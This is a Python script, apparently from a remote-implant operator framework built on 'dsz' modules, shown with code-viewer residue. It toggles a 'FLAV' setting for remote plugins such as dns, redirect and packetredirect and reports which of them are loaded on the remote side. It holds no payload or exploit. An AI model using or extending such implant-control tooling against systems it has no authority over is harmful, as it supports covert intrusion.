90 lines
3.5 KiB
Python
90 lines
3.5 KiB
Python
|
|
||
|
import ops.cmd, ops
|
||
|
import dsz
|
||
|
import os.path
|
||
|
import sys
|
||
|
|
||
|
def checkplugin(plugins_obj, command_to_check):
|
||
|
commands_found = []
|
||
|
for plugin in plugins_obj.remote.plugin:
|
||
|
if plugin.name.lower().startswith(('%s_target' % command_to_check.lower())):
|
||
|
commands_found.append(plugin.name)
|
||
|
return commands_found
|
||
|
|
||
|
def checkflav(module_obj, command_to_check):
|
||
|
for system in module_obj.moduletoggle.system:
|
||
|
if system.name.upper().startswith(command_to_check.upper()):
|
||
|
if (system.selected == 'FLAV'):
|
||
|
return True
|
||
|
else:
|
||
|
return False
|
||
|
return False
|
||
|
|
||
|
def flav_toggle(plugin, operation):
|
||
|
if (operation == 'enable'):
|
||
|
cmd = ops.cmd.getDszCommand(('moduletoggle -system %s_TARGET -set FLAV' % plugin.upper()), dszquiet=False)
|
||
|
else:
|
||
|
cmd = ops.cmd.getDszCommand(('moduletoggle -system %s_TARGET -set DEFAULT' % plugin.upper()), dszquiet=False)
|
||
|
cmd.execute()
|
||
|
|
||
|
def check_status(plugin_list):
|
||
|
dsz.ui.Echo(('=' * 80), dsz.GOOD)
|
||
|
dsz.ui.Echo(((('=' * 36) + ' Status ') + ('=' * 36)), dsz.GOOD)
|
||
|
dsz.ui.Echo(('=' * 80), dsz.GOOD)
|
||
|
cmd = ops.cmd.getDszCommand('plugins')
|
||
|
plugins_obj = cmd.execute()
|
||
|
modcmd = ops.cmd.getDszCommand('moduletoggle -list')
|
||
|
modobj = modcmd.execute()
|
||
|
for plugin in plugin_list:
|
||
|
dsz.ui.Echo(('Status of %s FLAV change:' % plugin))
|
||
|
loaded_plugins = checkplugin(plugins_obj, plugin)
|
||
|
if checkflav(modobj, plugin):
|
||
|
dsz.ui.Echo('\tENABLED', dsz.GOOD)
|
||
|
else:
|
||
|
dsz.ui.Echo('\tDISABLED', dsz.ERROR)
|
||
|
if (len(loaded_plugins) == 0):
|
||
|
dsz.ui.Echo(('\tNo %s plugins currently loaded remotely' % plugin))
|
||
|
else:
|
||
|
for loaded in loaded_plugins:
|
||
|
dsz.ui.Echo(('\t%s currently loaded remotely' % loaded), dsz.WARNING)
|
||
|
dsz.ui.Echo('')
|
||
|
|
||
|
def main():
|
||
|
params = dsz.lp.cmdline.ParseCommandLine(sys.argv, 'flavplugincontrol.txt')
|
||
|
plugin = None
|
||
|
operation = None
|
||
|
plugin_list = ['banner', 'dns', 'packetredirect', 'ping', 'redirect', 'traceroute']
|
||
|
if params.has_key('enable'):
|
||
|
if (not (len(params['enable']) == 1)):
|
||
|
dsz.ui.Echo('You must specify only the plugin you wish to enable.', dsz.ERROR)
|
||
|
return False
|
||
|
plugin = params['enable'][0]
|
||
|
operation = 'enable'
|
||
|
elif params.has_key('disable'):
|
||
|
if (not (len(params['disable']) == 1)):
|
||
|
dsz.ui.Echo('You must specify only the plugin you wish to disable.', dsz.ERROR)
|
||
|
return False
|
||
|
plugin = params['disable'][0]
|
||
|
operation = 'disable'
|
||
|
elif params.has_key('status'):
|
||
|
check_status(plugin_list)
|
||
|
return True
|
||
|
else:
|
||
|
dsz.ui.Echo('You must specify either -enable or -disable.', dsz.ERROR)
|
||
|
return False
|
||
|
if ((not (plugin.lower() in plugin_list)) and (not (plugin.lower() == 'all'))):
|
||
|
dsz.ui.Echo("You must specify one of the following FLAV aware plugins, or 'all':", dsz.ERROR)
|
||
|
for plugin in plugin_list:
|
||
|
dsz.ui.Echo(('\t%s' % plugin), dsz.ERROR)
|
||
|
return False
|
||
|
if (plugin == 'all'):
|
||
|
for plugin in plugin_list:
|
||
|
flav_toggle(plugin, operation)
|
||
|
else:
|
||
|
flav_toggle(plugin, operation)
|
||
|
check_status(plugin_list)
|
||
|
if (__name__ == '__main__'):
|
||
|
try:
|
||
|
main()
|
||
|
except RuntimeError as e:
|
||
|
dsz.ui.Echo(('\nCaught RuntimeError: %s' % e), dsz.ERROR)
|